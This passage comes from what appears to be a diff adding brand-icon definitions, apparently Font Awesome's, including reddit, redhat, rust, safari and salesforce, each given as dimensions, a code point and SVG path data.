7.4l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm5.1-30.8h-19.4v-26.7h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h22.5a1.77 1.77 0 0 0 2-1.9v-.8a1.83 1.83 0 0 0-2-2.06zm-7.4-99.4L286 192l-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1z" ], + readme: [ 576, 512, [], "f4d5", "M528.3 46.5H388.5c-48.1 0-89.9 33.3-100.4 80.3-10.6-47-52.3-80.3-100.4-80.3H48c-26.5 0-48 21.5-48 48v245.8c0 26.5 21.5 48 48 48h89.7c102.2 0 132.7 24.4 147.3 75 .7 2.8 5.2 2.8 6 0 14.7-50.6 45.2-75 147.3-75H528c26.5 0 48-21.5 48-48V94.6c0-26.4-21.3-47.9-47.7-48.1zM242 311.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5V289c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V251zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm259.3 121.7c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5V228c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.8c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V190z" ], + rebel: [ 512, 512, [], "f1d0", "M256.5 504C117.2 504 9 387.8 13.2 249.9 16 170.7 56.4 97.7 129.7 49.5c.3 0 1.9-.6 1.1.8-5.8 5.5-111.3 129.8-14.1 226.4 49.8 49.5 90 2.5 90 2.5 38.5-50.1-.6-125.9-.6-125.9-10-24.9-45.7-40.1-45.7-40.1l28.8-31.8c24.4 10.5 43.2 38.7 43.2 38.7.8-29.6-21.9-61.4-21.9-61.4L255.1 8l44.3 50.1c-20.5 28.8-21.9 62.6-21.9 62.6 13.8-23 43.5-39.3 43.5-39.3l28.5 31.8c-27.4 8.9-45.4 39.9-45.4 39.9-15.8 28.5-27.1 89.4.6 127.3 32.4 44.6 87.7-2.8 87.7-2.8 102.7-91.9-10.5-225-10.5-225-6.1-5.5.8-2.8.8-2.8 50.1 36.5 114.6 84.4 116.2 204.8C500.9 400.2 399 504 256.5 504z" ], + "red-river": [ 448, 512, [], "f3e3", "M353.2 32H94.8C42.4 32 0 74.4 0 126.8v258.4C0 437.6 42.4 480 94.8 480h258.4c52.4 0 94.8-42.4 94.8-94.8V126.8c0-52.4-42.4-94.8-94.8-94.8zM144.9 200.9v56.3c0 27-21.9 48.9-48.9 48.9V151.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9h-56.3c-12.3-.6-24.6 11.6-24 24zm176.3 72h-56.3c-12.3-.6-24.6 11.6-24 24v56.3c0 27-21.9 48.9-48.9 48.9V247.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9z" ], + reddit: [ 512, 512, [], "f1a1", "M201.5 305.5c-13.8 0-24.9-11.1-24.9-24.6 0-13.8 11.1-24.9 24.9-24.9 13.6 0 24.6 11.1 24.6 24.9 0 13.6-11.1 24.6-24.6 24.6zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-132.3-41.2c-9.4 0-17.7 3.9-23.8 10-22.4-15.5-52.6-25.5-86.1-26.6l17.4-78.3 55.4 12.5c0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.3 24.9-24.9s-11.1-24.9-24.9-24.9c-9.7 0-18 5.8-22.1 13.8l-61.2-13.6c-3-.8-6.1 1.4-6.9 4.4l-19.1 86.4c-33.2 1.4-63.1 11.3-85.5 26.8-6.1-6.4-14.7-10.2-24.1-10.2-34.9 0-46.3 46.9-14.4 62.8-1.1 5-1.7 10.2-1.7 15.5 0 52.6 59.2 95.2 132 95.2 73.1 0 132.3-42.6 132.3-95.2 0-5.3-.6-10.8-1.9-15.8 31.3-16 19.8-62.5-14.9-62.5zM302.8 331c-18.2 18.2-76.1 17.9-93.6 0-2.2-2.2-6.1-2.2-8.3 0-2.5 2.5-2.5 6.4 0 8.6 22.8 22.8 87.3 22.8 110.2 0 2.5-2.2 2.5-6.1 0-8.6-2.2-2.2-6.1-2.2-8.3 0zm7.7-75c-13.6 0-24.6 11.1-24.6 24.9 0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.1 24.9-24.6 0-13.8-11-24.9-24.9-24.9z" ], + "reddit-alien": [ 512, 512, [], "f281", "M440.3 203.5c-15 0-28.2 6.2-37.9 15.9-35.7-24.7-83.8-40.6-137.1-42.3L293 52.3l88.2 19.8c0 21.6 17.6 39.2 39.2 39.2 22 0 39.7-18.1 39.7-39.7s-17.6-39.7-39.7-39.7c-15.4 0-28.7 9.3-35.3 22l-97.4-21.6c-4.9-1.3-9.7 2.2-11 7.1L246.3 177c-52.9 2.2-100.5 18.1-136.3 42.8-9.7-10.1-23.4-16.3-38.4-16.3-55.6 0-73.8 74.6-22.9 100.1-1.8 7.9-2.6 16.3-2.6 24.7 0 83.8 94.4 151.7 210.3 151.7 116.4 0 210.8-67.9 210.8-151.7 0-8.4-.9-17.2-3.1-25.1 49.9-25.6 31.5-99.7-23.8-99.7zM129.4 308.9c0-22 17.6-39.7 39.7-39.7 21.6 0 39.2 17.6 39.2 39.7 0 21.6-17.6 39.2-39.2 39.2-22 .1-39.7-17.6-39.7-39.2zm214.3 93.5c-36.4 36.4-139.1 36.4-175.5 0-4-3.5-4-9.7 0-13.7 3.5-3.5 9.7-3.5 13.2 0 27.8 28.5 120 29 149 0 3.5-3.5 9.7-3.5 13.2 0 4.1 4 4.1 10.2.1 13.7zm-.8-54.2c-21.6 0-39.2-17.6-39.2-39.2 0-22 17.6-39.7 39.2-39.7 22 0 39.7 17.6 39.7 39.7-.1 21.5-17.7 39.2-39.7 39.2z" ], + "reddit-square": [ 448, 512, [], "f1a2", "M283.2 345.5c2.7 2.7 2.7 6.8 0 9.2-24.5 24.5-93.8 24.6-118.4 0-2.7-2.4-2.7-6.5 0-9.2 2.4-2.4 6.5-2.4 8.9 0 18.7 19.2 81 19.6 100.5 0 2.4-2.3 6.6-2.3 9 0zm-91.3-53.8c0-14.9-11.9-26.8-26.5-26.8-14.9 0-26.8 11.9-26.8 26.8 0 14.6 11.9 26.5 26.8 26.5 14.6 0 26.5-11.9 26.5-26.5zm90.7-26.8c-14.6 0-26.5 11.9-26.5 26.8 0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-11.9 26.8-26.5 0-14.9-11.9-26.8-26.8-26.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-99.7 140.6c-10.1 0-19 4.2-25.6 10.7-24.1-16.7-56.5-27.4-92.5-28.6l18.7-84.2 59.5 13.4c0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-12.2 26.8-26.8 0-14.6-11.9-26.8-26.8-26.8-10.4 0-19.3 6.2-23.8 14.9l-65.7-14.6c-3.3-.9-6.5 1.5-7.4 4.8l-20.5 92.8c-35.7 1.5-67.8 12.2-91.9 28.9-6.5-6.8-15.8-11-25.9-11-37.5 0-49.8 50.4-15.5 67.5-1.2 5.4-1.8 11-1.8 16.7 0 56.5 63.7 102.3 141.9 102.3 78.5 0 142.2-45.8 142.2-102.3 0-5.7-.6-11.6-2.1-17 33.6-17.2 21.2-67.2-16.1-67.2z" ], + redhat: [ 512, 512, [], "f7bc", "M341.52 285.56c33.65 0 82.34-6.94 82.34-47 .22-6.74.86-1.82-20.88-96.24-4.62-19.15-8.68-27.84-42.31-44.65-26.09-13.34-82.92-35.37-99.73-35.37-15.66 0-20.2 20.17-38.87 20.17-18 0-31.31-15.06-48.12-15.06-16.14 0-26.66 11-34.78 33.62-27.5 77.55-26.28 74.27-26.12 78.27 0 24.8 97.64 106.11 228.47 106.11M429 254.84c4.65 22 4.65 24.35 4.65 27.25 0 37.66-42.33 58.56-98 58.56-125.74.08-235.91-73.65-235.91-122.33a49.55 49.55 0 0 1 4.06-19.72C58.56 200.86 0 208.93 0 260.63c0 84.67 200.63 189 359.49 189 121.79 0 152.51-55.08 152.51-98.58 0-34.21-29.59-73.05-82.93-96.24" ], + renren: [ 512, 512, [], "f18b", "M214 169.1c0 110.4-61 205.4-147.6 247.4C30 373.2 8 317.7 8 256.6 8 133.9 97.1 32.2 214 12.5v156.6zM255 504c-42.9 0-83.3-11-118.5-30.4C193.7 437.5 239.9 382.9 255 319c15.5 63.9 61.7 118.5 118.8 154.7C338.7 493 298.3 504 255 504zm190.6-87.5C359 374.5 298 279.6 298 169.1V12.5c116.9 19.7 206 121.4 206 244.1 0 61.1-22 116.6-58.4 159.9z" ], + replyd: [ 448, 512, [], "f3e6", "M320 480H128C57.6 480 0 422.4 0 352V160C0 89.6 57.6 32 128 32h192c70.4 0 128 57.6 128 128v192c0 70.4-57.6 128-128 128zM193.4 273.2c-6.1-2-11.6-3.1-16.4-3.1-7.2 0-13.5 1.9-18.9 5.6-5.4 3.7-9.6 9-12.8 15.8h-1.1l-4.2-18.3h-28v138.9h36.1v-89.7c1.5-5.4 4.4-9.8 8.7-13.2 4.3-3.4 9.8-5.1 16.2-5.1 4.6 0 9.8 1 15.6 3.1l4.8-34zm115.2 103.4c-3.2 2.4-7.7 4.8-13.7 7.1-6 2.3-12.8 3.5-20.4 3.5-12.2 0-21.1-3-26.5-8.9-5.5-5.9-8.5-14.7-9-26.4h83.3c.9-4.8 1.6-9.4 2.1-13.9.5-4.4.7-8.6.7-12.5 0-10.7-1.6-19.7-4.7-26.9-3.2-7.2-7.3-13-12.5-17.2-5.2-4.3-11.1-7.3-17.8-9.2-6.7-1.8-13.5-2.8-20.6-2.8-21.1 0-37.5 6.1-49.2 18.3s-17.5 30.5-17.5 55c0 22.8 5.2 40.7 15.6 53.7 10.4 13.1 26.8 19.6 49.2 19.6 10.7 0 20.9-1.5 30.4-4.6 9.5-3.1 17.1-6.8 22.6-11.2l-12-23.6zm-21.8-70.3c3.8 5.4 5.3 13.1 4.6 23.1h-51.7c.9-9.4 3.7-17 8.2-22.6 4.5-5.6 11.5-8.5 21-8.5 8.2-.1 14.1 2.6 17.9 8zm79.9 2.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4s2 11.7 6.1 15.6zm0 100.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4 0 6.6 2 11.7 6.1 15.6z" ], + researchgate: [ 448, 512, [], "f4f8", "M0 32v448h448V32H0zm262.2 334.4c-6.6 3-33.2 6-50-14.2-9.2-10.6-25.3-33.3-42.2-63.6-8.9 0-14.7 0-21.4-.6v46.4c0 23.5 6 21.2 25.8 23.9v8.1c-6.9-.3-23.1-.8-35.6-.8-13.1 0-26.1.6-33.6.8v-8.1c15.5-2.9 22-1.3 22-23.9V225c0-22.6-6.4-21-22-23.9V193c25.8 1 53.1-.6 70.9-.6 31.7 0 55.9 14.4 55.9 45.6 0 21.1-16.7 42.2-39.2 47.5 13.6 24.2 30 45.6 42.2 58.9 7.2 7.8 17.2 14.7 27.2 14.7v7.3zm22.9-135c-23.3 0-32.2-15.7-32.2-32.2V167c0-12.2 8.8-30.4 34-30.4s30.4 17.9 30.4 17.9l-10.7 7.2s-5.5-12.5-19.7-12.5c-7.9 0-19.7 7.3-19.7 19.7v26.8c0 13.4 6.6 23.3 17.9 23.3 14.1 0 21.5-10.9 21.5-26.8h-17.9v-10.7h30.4c0 20.5 4.7 49.9-34 49.9zm-116.5 44.7c-9.4 0-13.6-.3-20-.8v-69.7c6.4-.6 15-.6 22.5-.6 23.3 0 37.2 12.2 37.2 34.5 0 21.9-15 36.6-39.7 36.6z" ], + resolving: [ 496, 512, [], "f3e7", "M281.2 278.2c46-13.3 49.6-23.5 44-43.4L314 195.5c-6.1-20.9-18.4-28.1-71.1-12.8L54.7 236.8l28.6 98.6 197.9-57.2zM248.5 8C131.4 8 33.2 88.7 7.2 197.5l221.9-63.9c34.8-10.2 54.2-11.7 79.3-8.2 36.3 6.1 52.7 25 61.4 55.2l10.7 37.8c8.2 28.1 1 50.6-23.5 73.6-19.4 17.4-31.2 24.5-61.4 33.2L203 351.8l220.4 27.1 9.7 34.2-48.1 13.3-286.8-37.3 23 80.2c36.8 22 80.3 34.7 126.3 34.7 137 0 248.5-111.4 248.5-248.3C497 119.4 385.5 8 248.5 8zM38.3 388.6L0 256.8c0 48.5 14.3 93.4 38.3 131.8z" ], + rev: [ 448, 512, [], "f5b2", "M289.67 274.89a65.57 65.57 0 1 1-65.56-65.56 65.64 65.64 0 0 1 65.56 65.56zm139.55-5.05h-.13a204.69 204.69 0 0 0-74.32-153l-45.38 26.2a157.07 157.07 0 0 1 71.81 131.84C381.2 361.5 310.73 432 224.11 432S67 361.5 67 274.88c0-81.88 63-149.27 143-156.43v39.12l108.77-62.79L210 32v38.32c-106.7 7.25-191 96-191 204.57 0 111.59 89.12 202.29 200.06 205v.11h210.16V269.84z" ], + rocketchat: [ 576, 512, [], "f3e8", "M284.046,224.8a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,284.046,224.8Zm-110.45,0a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,173.6,224.8Zm220.923,0a34.114,34.114,0,1,0,34.317,34.113A34.215,34.215,0,0,0,394.519,224.8Zm153.807-55.319c-15.535-24.172-37.31-45.57-64.681-63.618-52.886-34.817-122.374-54-195.666-54a405.975,405.975,0,0,0-72.032,6.357,238.524,238.524,0,0,0-49.51-36.588C99.684-11.7,40.859.711,11.135,11.421A14.291,14.291,0,0,0,5.58,34.782C26.542,56.458,61.222,99.3,52.7,138.252c-33.142,33.9-51.112,74.776-51.112,117.337,0,43.372,17.97,84.248,51.112,118.148,8.526,38.956-26.154,81.816-47.116,103.491a14.284,14.284,0,0,0,5.555,23.34c29.724,10.709,88.549,23.147,155.324-10.2a238.679,238.679,0,0,0,49.51-36.589A405.972,405.972,0,0,0,288,460.14c73.313,0,142.8-19.159,195.667-53.975,27.371-18.049,49.145-39.426,64.679-63.619,17.309-26.923,26.07-55.916,26.07-86.125C574.394,225.4,565.634,196.43,548.326,169.485ZM284.987,409.9a345.65,345.65,0,0,1-89.446-11.5l-20.129,19.393a184.366,184.366,0,0,1-37.138,27.585,145.767,145.767,0,0,1-52.522,14.87c.983-1.771,1.881-3.563,2.842-5.356q30.258-55.68,16.325-100.078c-32.992-25.962-52.778-59.2-52.778-95.4,0-83.1,104.254-150.469,232.846-150.469s232.867,67.373,232.867,150.469C517.854,342.525,413.6,409.9,284.987,409.9Z" ], + rockrms: [ 496, 512, [], "f3e9", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm157.4 419.5h-90l-112-131.3c-17.9-20.4-3.9-56.1 26.6-56.1h75.3l-84.6-99.3-84.3 98.9h-90L193.5 67.2c14.4-18.4 41.3-17.3 54.5 0l157.7 185.1c19 22.8 2 57.2-27.6 56.1-.6 0-74.2.2-74.2.2l101.5 118.9z" ], + rust: [ 512, 512, [], "e07a", "M508.52,249.75,486.7,236.24c-.17-2-.34-3.93-.55-5.88l18.72-17.5a7.35,7.35,0,0,0-2.44-12.25l-24-9c-.54-1.88-1.08-3.78-1.67-5.64l15-20.83a7.35,7.35,0,0,0-4.79-11.54l-25.42-4.15c-.9-1.73-1.79-3.45-2.73-5.15l10.68-23.42a7.35,7.35,0,0,0-6.95-10.39l-25.82.91q-1.79-2.22-3.61-4.4L439,81.84A7.36,7.36,0,0,0,430.16,73L405,78.93q-2.17-1.83-4.4-3.61l.91-25.82a7.35,7.35,0,0,0-10.39-7L367.7,53.23c-1.7-.94-3.43-1.84-5.15-2.73L358.4,25.08a7.35,7.35,0,0,0-11.54-4.79L326,35.26c-1.86-.59-3.75-1.13-5.64-1.67l-9-24a7.35,7.35,0,0,0-12.25-2.44l-17.5,18.72c-1.95-.21-3.91-.38-5.88-.55L262.25,3.48a7.35,7.35,0,0,0-12.5,0L236.24,25.3c-2,.17-3.93.34-5.88.55L212.86,7.13a7.35,7.35,0,0,0-12.25,2.44l-9,24c-1.89.55-3.79,1.08-5.66,1.68l-20.82-15a7.35,7.35,0,0,0-11.54,4.79l-4.15,25.41c-1.73.9-3.45,1.79-5.16,2.73L120.88,42.55a7.35,7.35,0,0,0-10.39,7l.92,25.81c-1.49,1.19-3,2.39-4.42,3.61L81.84,73A7.36,7.36,0,0,0,73,81.84L78.93,107c-1.23,1.45-2.43,2.93-3.62,4.41l-25.81-.91a7.42,7.42,0,0,0-6.37,3.26,7.35,7.35,0,0,0-.57,7.13l10.66,23.41c-.94,1.7-1.83,3.43-2.73,5.16L25.08,153.6a7.35,7.35,0,0,0-4.79,11.54l15,20.82c-.59,1.87-1.13,3.77-1.68,5.66l-24,9a7.35,7.35,0,0,0-2.44,12.25l18.72,17.5c-.21,1.95-.38,3.91-.55,5.88L3.48,249.75a7.35,7.35,0,0,0,0,12.5L25.3,275.76c.17,2,.34,3.92.55,5.87L7.13,299.13a7.35,7.35,0,0,0,2.44,12.25l24,9c.55,1.89,1.08,3.78,1.68,5.65l-15,20.83a7.35,7.35,0,0,0,4.79,11.54l25.42,4.15c.9,1.72,1.79,3.45,2.73,5.14L42.56,391.12a7.35,7.35,0,0,0,.57,7.13,7.13,7.13,0,0,0,6.37,3.26l25.83-.91q1.77,2.22,3.6,4.4L73,430.16A7.36,7.36,0,0,0,81.84,439L107,433.07q2.18,1.83,4.41,3.61l-.92,25.82a7.35,7.35,0,0,0,10.39,6.95l23.43-10.68c1.69.94,3.42,1.83,5.14,2.73l4.15,25.42a7.34,7.34,0,0,0,11.54,4.78l20.83-15c1.86.6,3.76,1.13,5.65,1.68l9,24a7.36,7.36,0,0,0,12.25,2.44l17.5-18.72c1.95.21,3.92.38,5.88.55l13.51,21.82a7.35,7.35,0,0,0,12.5,0l13.51-21.82c2-.17,3.93-.34,5.88-.56l17.5,18.73a7.36,7.36,0,0,0,12.25-2.44l9-24c1.89-.55,3.78-1.08,5.65-1.68l20.82,15a7.34,7.34,0,0,0,11.54-4.78l4.15-25.42c1.72-.9,3.45-1.79,5.15-2.73l23.42,10.68a7.35,7.35,0,0,0,10.39-6.95l-.91-25.82q2.22-1.79,4.4-3.61L430.16,439a7.36,7.36,0,0,0,8.84-8.84L433.07,405q1.83-2.17,3.61-4.4l25.82.91a7.23,7.23,0,0,0,6.37-3.26,7.35,7.35,0,0,0,.58-7.13L458.77,367.7c.94-1.7,1.83-3.43,2.73-5.15l25.42-4.15a7.35,7.35,0,0,0,4.79-11.54l-15-20.83c.59-1.87,1.13-3.76,1.67-5.65l24-9a7.35,7.35,0,0,0,2.44-12.25l-18.72-17.5c.21-1.95.38-3.91.55-5.87l21.82-13.51a7.35,7.35,0,0,0,0-12.5Zm-151,129.08A13.91,13.91,0,0,0,341,389.51l-7.64,35.67A187.51,187.51,0,0,1,177,424.44l-7.64-35.66a13.87,13.87,0,0,0-16.46-10.68l-31.51,6.76a187.38,187.38,0,0,1-16.26-19.21H258.3c1.72,0,2.89-.29,2.89-1.91V309.55c0-1.57-1.17-1.91-2.89-1.91H213.47l.05-34.35H262c4.41,0,23.66,1.28,29.79,25.87,1.91,7.55,6.17,32.14,9.06,40,2.89,8.82,14.6,26.46,27.1,26.46H407a187.3,187.3,0,0,1-17.34,20.09Zm25.77,34.49A15.24,15.24,0,1,1,368,398.08h.44A15.23,15.23,0,0,1,383.24,413.32Zm-225.62-.68a15.24,15.24,0,1,1-15.25-15.25h.45A15.25,15.25,0,0,1,157.62,412.64ZM69.57,234.15l32.83-14.6a13.88,13.88,0,0,0,7.06-18.33L102.69,186h26.56V305.73H75.65A187.65,187.65,0,0,1,69.57,234.15ZM58.31,198.09a15.24,15.24,0,0,1,15.23-15.25H74a15.24,15.24,0,1,1-15.67,15.24Zm155.16,24.49.05-35.32h63.26c3.28,0,23.07,3.77,23.07,18.62,0,12.29-15.19,16.7-27.68,16.7ZM399,306.71c-9.8,1.13-20.63-4.12-22-10.09-5.78-32.49-15.39-39.4-30.57-51.4,18.86-11.95,38.46-29.64,38.46-53.26,0-25.52-17.49-41.59-29.4-49.48-16.76-11-35.28-13.23-40.27-13.23H116.32A187.49,187.49,0,0,1,221.21,70.06l23.47,24.6a13.82,13.82,0,0,0,19.6.44l26.26-25a187.51,187.51,0,0,1,128.37,91.43l-18,40.57A14,14,0,0,0,408,220.43l34.59,15.33a187.12,187.12,0,0,1,.4,32.54H423.71c-1.91,0-2.69,1.27-2.69,3.13v8.82C421,301,409.31,305.58,399,306.71ZM240,60.21A15.24,15.24,0,0,1,255.21,45h.45A15.24,15.24,0,1,1,240,60.21ZM436.84,214a15.24,15.24,0,1,1,0-30.48h.44a15.24,15.24,0,0,1-.44,30.48Z" ], + safari: [ 512, 512, [], "f267", "M274.69,274.69l-37.38-37.38L166,346ZM256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8ZM411.85,182.79l14.78-6.13A8,8,0,0,1,437.08,181h0a8,8,0,0,1-4.33,10.46L418,197.57a8,8,0,0,1-10.45-4.33h0A8,8,0,0,1,411.85,182.79ZM314.43,94l6.12-14.78A8,8,0,0,1,331,74.92h0a8,8,0,0,1,4.33,10.45l-6.13,14.78a8,8,0,0,1-10.45,4.33h0A8,8,0,0,1,314.43,94ZM256,60h0a8,8,0,0,1,8,8V84a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V68A8,8,0,0,1,256,60ZM181,74.92a8,8,0,0,1,10.46,4.33L197.57,94a8,8,0,1,1-14.78,6.12l-6.13-14.78A8,8,0,0,1,181,74.92Zm-63.58,42.49h0a8,8,0,0,1,11.31,0L140,128.72A8,8,0,0,1,140,140h0a8,8,0,0,1-11.31,0l-11.31-11.31A8,8,0,0,1,117.41,117.41ZM60,256h0a8,8,0,0,1,8-8H84a8,8,0,0,1,8,8h0a8,8,0,0,1-8,8H68A8,8,0,0,1,60,256Zm40.15,73.21-14.78,6.13A8,8,0,0,1,74.92,331h0a8,8,0,0,1,4.33-10.46L94,314.43a8,8,0,0,1,10.45,4.33h0A8,8,0,0,1,100.15,329.21Zm4.33-136h0A8,8,0,0,1,94,197.57l-14.78-6.12A8,8,0,0,1,74.92,181h0a8,8,0,0,1,10.45-4.33l14.78,6.13A8,8,0,0,1,104.48,193.24ZM197.57,418l-6.12,14.78a8,8,0,0,1-14.79-6.12l6.13-14.78A8,8,0,1,1,197.57,418ZM264,444a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V428a8,8,0,0,1,8-8h0a8,8,0,0,1,8,8Zm67-6.92h0a8,8,0,0,1-10.46-4.33L314.43,418a8,8,0,0,1,4.33-10.45h0a8,8,0,0,1,10.45,4.33l6.13,14.78A8,8,0,0,1,331,437.08Zm63.58-42.49h0a8,8,0,0,1-11.31,0L372,383.28A8,8,0,0,1,372,372h0a8,8,0,0,1,11.31,0l11.31,11.31A8,8,0,0,1,394.59,394.59ZM286.25,286.25,110.34,401.66,225.75,225.75,401.66,110.34ZM437.08,331h0a8,8,0,0,1-10.45,4.33l-14.78-6.13a8,8,0,0,1-4.33-10.45h0A8,8,0,0,1,418,314.43l14.78,6.12A8,8,0,0,1,437.08,331ZM444,264H428a8,8,0,0,1-8-8h0a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8h0A8,8,0,0,1,444,264Z" ], + salesforce: [ 640, 512, [], "f83b", "M248.89 245.64h-26.35c.69-5.16 3.32-14.12 13.64-14.12 6.75 0 11.97 3.82 12.71 14.12zm136.66-13.88c-.47 0-14.11-1.77-14.11 20s13.63 20 14.11 20c13 0 14.11-13.54 14.11-20 0-21.76-13.66-20-14.11-20zm-243.22 23.76a8.63 8.63 0 0 0-3.29 7.29c0 4.78 2.08 6.05 3.29 7.05 4.7 3.7 15.07 2.12 20.93.95v-16.94c-5.32-1.07-16.73-1.96-20.93 1.65zM640 232c0 87.58-80 154.39-165.36 136.43-18.37 33-70.73 70.75-132.2 41.63-41.16 96.05-177.89 92.18-213.81-5.17C8.91 428.78-50.19 266.52 53.36 205.61 18.61 126.18 76 32 167.67 32a124.24 124.24 0 0 1 98.56 48.7c20.7-21.4 49.4-34.81 81.15-34.81 42.34 0 79 23.52 98.8 58.57C539 63.78 640 132.69 640 232zm-519.55 31.8c0-11.76-11.69-15.17-17.87-17.17-5.27-2.11-13.41-3.51-13.41-8.94 0-9.46 17-6.66 25.17-2.12 0 0 1.17.71 1.64-.47.24-.7 2.36-6.58 2.59-7.29a1.13 1.13 0 0 0-.7-1.41c-12.33-7.63-40.7-8.51-40.7 12.7 0 12.46 11.49 15.44 17.88 17.17 4.72 1.58 13.17 3 13.17 8.7 0 4-3.53 7.06-9.17 7.06a31.76 31.76 0 0 1-19-6.35c-.47-.23-1.42-.71-1.65.71l-2.4 7.47c-.47.94.23 1.18.23 1.41 1.75 1.4 10.3 6.59 22.82 6.59 13.17 0 21.4-7.06 21.4-18.11zm32-42.58c-10.13 0-18.66 3.17-21.4 5.18a1 1 0 0 0-.24 1.41l2.59 7.06a1 1 0 0 0 1.18.7c.65 0 6.8-4 16.93-4 4 0 7.06.71 9.18 2.36 3.6 2.8 3.06 8.29 3.06 10.58-4.79-.3-19.11-3.44-29.41 3.76a16.92 16.92 0 0 0-7.34 14.54c0 5.9 1.51 10.4 6.59 14.35 12.24 8.16 36.28 2 38.1 1.41 1.58-.32 3.53-.66 3.53-1.88v-33.88c.04-4.61.32-21.64-22.78-21.64zM199 200.24a1.11 1.11 0 0 0-1.18-1.18H188a1.11 1.11 0 0 0-1.17 1.18v79a1.11 1.11 0 0 0 1.17 1.18h9.88a1.11 1.11 0 0 0 1.18-1.18zm55.75 28.93c-2.1-2.31-6.79-7.53-17.65-7.53-3.51 0-14.16.23-20.7 8.94-6.35 7.63-6.58 18.11-6.58 21.41 0 3.12.15 14.26 7.06 21.17 2.64 2.91 9.06 8.23 22.81 8.23 10.82 0 16.47-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.35-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.94-16.7h37.17a1.23 1.23 0 0 0 1.17-.94c-.29 0 2.07-14.7-6.09-24.23zm36.69 52.69c13.17 0 21.41-7.06 21.41-18.11 0-11.76-11.7-15.17-17.88-17.17-4.14-1.66-13.41-3.38-13.41-8.94 0-3.76 3.29-6.35 8.47-6.35a38.11 38.11 0 0 1 16.7 4.23s1.18.71 1.65-.47c.23-.7 2.35-6.58 2.58-7.29a1.13 1.13 0 0 0-.7-1.41c-7.91-4.9-16.74-4.94-20.23-4.94-12 0-20.46 7.29-20.46 17.64 0 12.46 11.48 15.44 17.87 17.17 6.11 2 13.17 3.26 13.17 8.7 0 4-3.52 7.06-9.17 7.06a31.8 31.8 0 0 1-19-6.35 1 1 0 0 0-1.65.71l-2.35 7.52c-.47.94.23 1.18.23 1.41 1.72 1.4 10.33 6.59 22.79 6.59zM357.09 224c0-.71-.24-1.18-1.18-1.18h-11.76c0-.14.94-8.94 4.47-12.47 4.16-4.15 11.76-1.64 12-1.64 1.17.47 1.41 0 1.64-.47l2.83-7.77c.7-.94 0-1.17-.24-1.41-5.09-2-17.35-2.87-24.46 4.24-5.48 5.48-7 13.92-8 19.52h-8.47a1.28 1.28 0 0 0-1.17 1.18l-1.42 7.76c0 .7.24 1.17 1.18 1.17h8.23c-8.51 47.9-8.75 50.21-10.35 55.52-1.08 3.62-3.29 6.9-5.88 7.76-.09 0-3.88 1.68-9.64-.24 0 0-.94-.47-1.41.71-.24.71-2.59 6.82-2.83 7.53s0 1.41.47 1.41c5.11 2 13 1.77 17.88 0 6.28-2.28 9.72-7.89 11.53-12.94 2.75-7.71 2.81-9.79 11.76-59.74h12.23a1.29 1.29 0 0 0 1.18-1.18zm53.39 16c-.56-1.68-5.1-18.11-25.17-18.11-15.25 0-23 10-25.16 18.11-1 3-3.18 14 0 23.52.09.3 4.41 18.12 25.16 18.12 14.95 0 22.9-9.61 25.17-18.12 